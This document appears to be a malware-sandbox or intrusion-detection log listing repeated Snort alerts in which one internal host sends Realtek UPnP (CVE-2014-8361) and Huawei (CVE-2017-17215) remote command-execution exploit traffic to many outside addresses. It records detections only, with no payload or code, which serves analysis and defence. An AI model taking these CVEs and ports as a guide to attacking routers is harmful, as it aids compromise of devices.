Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:34640 -> 211.42.169.91:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:38462 -> 37.21.17.204:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:38462 -> 37.21.17.204:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:41184 -> 67.65.153.119:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:41184 -> 67.65.153.119:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:39438 -> 108.128.208.18:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:39438 -> 108.128.208.18:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:51404 -> 104.126.44.136:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:51404 -> 104.126.44.136:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:52008 -> 23.244.107.142:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:52008 -> 23.244.107.142:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:57164 -> 91.159.64.203:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:57164 -> 91.159.64.203:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:33188 -> 4.232.226.241:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:33188 -> 4.232.226.241:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:56016 -> 69.210.2.130:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:56016 -> 69.210.2.130:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:60644 -> 80.66.53.41:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:60644 -> 80.66.53.41:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51212 -> 75.245.37.135:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51212 -> 75.245.37.135:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60270 -> 41.114.206.140:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60270 -> 41.114.206.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56722 -> 157.29.91.154:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56722 -> 157.29.91.154:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43798 -> 103.246.101.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43798 -> 103.246.101.15:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41284 -> 107.103.239.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41284 -> 107.103.239.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60840 -> 41.109.80.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60840 -> 41.109.80.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59080 -> 166.129.166.145:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59080 -> 166.129.166.145:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:58302 -> 197.130.106.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:58302 -> 197.130.106.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:52656 -> 41.101.180.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:52656 -> 41.101.180.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47204 -> 41.135.100.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47204 -> 41.135.100.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39720 -> 41.48.64.8:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39720 -> 41.48.64.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:42676 -> 157.135.74.226:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:42676 -> 157.135.74.226:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59122 -> 197.91.175.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59122 -> 197.91.175.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37834 -> 197.43.242.43:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37834 -> 197.43.242.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54920 -> 14.49.13.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54920 -> 14.49.13.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60562 -> 149.205.10.158:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60562 -> 149.205.10.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45450 -> 197.238.161.20:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45450 -> 197.238.161.20:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41866 -> 140.235.15.87:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41866 -> 140.235.15.87:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38926 -> 41.253.112.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38926 -> 41.253.112.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:58030 -> 197.57.193.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:58030 -> 197.57.193.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:52554 -> 197.20.220.200:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:52554 -> 197.20.220.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57118 -> 41.157.245.144:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57118 -> 41.157.245.144:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51110 -> 197.246.166.200:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51110 -> 197.246.166.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40956 -> 197.18.206.159:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40956 -> 197.18.206.159:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59342 -> 34.182.233.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59342 -> 34.182.233.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40972 -> 49.55.180.63:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40972 -> 49.55.180.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51100 -> 197.12.49.40:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51100 -> 197.12.49.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45984 -> 197.197.182.48:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45984 -> 197.197.182.48:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:53362 -> 9.118.192.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:53362 -> 9.118.192.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57580 -> 153.137.241.70:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57580 -> 153.137.241.70:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45790 -> 41.106.243.14:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45790 -> 41.106.243.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37000 -> 197.115.200.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37000 -> 197.115.200.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47674 -> 13.252.226.77:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47674 -> 13.252.226.77:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55304 -> 157.178.175.186:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55304 -> 157.178.175.186:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47084 -> 41.218.65.16:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47084 -> 41.218.65.16:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45306 -> 197.89.116.170:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45306 -> 197.89.116.170:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47276 -> 197.233.147.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47276 -> 197.233.147.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40632 -> 157.219.83.230:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40632 -> 157.219.83.230:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56992 -> 41.242.148.168:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56992 -> 41.242.148.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35152 -> 41.244.25.122:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35152 -> 41.244.25.122:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57396 -> 157.39.249.198:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57396 -> 157.39.249.198:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59254 -> 197.143.76.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59254 -> 197.143.76.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40404 -> 197.55.86.176:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40404 -> 197.55.86.176:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54780 -> 41.95.41.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54780 -> 41.95.41.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48166 -> 41.99.38.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48166 -> 41.99.38.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55676 -> 157.222.177.45:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55676 -> 157.222.177.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34812 -> 197.167.93.130:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34812 -> 197.167.93.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37890 -> 197.180.228.252:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37890 -> 197.180.228.252:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45002 -> 197.105.219.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45002 -> 197.105.219.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41390 -> 41.127.217.236:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41390 -> 41.127.217.236:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43856 -> 41.109.172.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43856 -> 41.109.172.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45784 -> 157.238.194.50:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45784 -> 157.238.194.50:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38056 -> 157.113.132.47:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38056 -> 157.113.132.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41832 -> 41.130.29.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41832 -> 41.130.29.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:42690 -> 197.74.96.150:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:42690 -> 197.74.96.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49906 -> 62.146.200.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49906 -> 62.146.200.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41076 -> 197.36.183.119:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41076 -> 197.36.183.119:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35514 -> 173.213.209.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35514 -> 173.213.209.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51722 -> 157.66.206.67:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51722 -> 157.66.206.67:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40464 -> 197.182.32.204:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40464 -> 197.182.32.204:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39482 -> 197.30.229.13:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39482 -> 197.30.229.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54592 -> 197.79.113.139:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54592 -> 197.79.113.139:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:44484 -> 76.125.10.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:44484 -> 76.125.10.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37790 -> 157.35.130.251:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37790 -> 157.35.130.251:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43916 -> 157.204.120.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43916 -> 157.204.120.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45236 -> 41.197.53.118:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45236 -> 41.197.53.118:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38488 -> 41.135.228.141:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38488 -> 41.135.228.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43258 -> 163.110.119.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43258 -> 163.110.119.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41756 -> 157.17.105.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41756 -> 157.17.105.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39428 -> 169.37.171.79:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39428 -> 169.37.171.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49010 -> 157.5.164.72:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49010 -> 157.5.164.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35092 -> 157.149.230.36:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35092 -> 157.149.230.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39728 -> 197.202.153.125:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39728 -> 197.202.153.125:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54142 -> 197.39.42.138:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54142 -> 197.39.42.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41170 -> 57.196.110.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41170 -> 57.196.110.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56706 -> 157.42.101.14:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56706 -> 157.42.101.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56498 -> 205.121.31.87:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56498 -> 205.121.31.87:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48620 -> 41.63.90.165:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48620 -> 41.63.90.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43226 -> 197.169.40.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43226 -> 197.169.40.175:37215
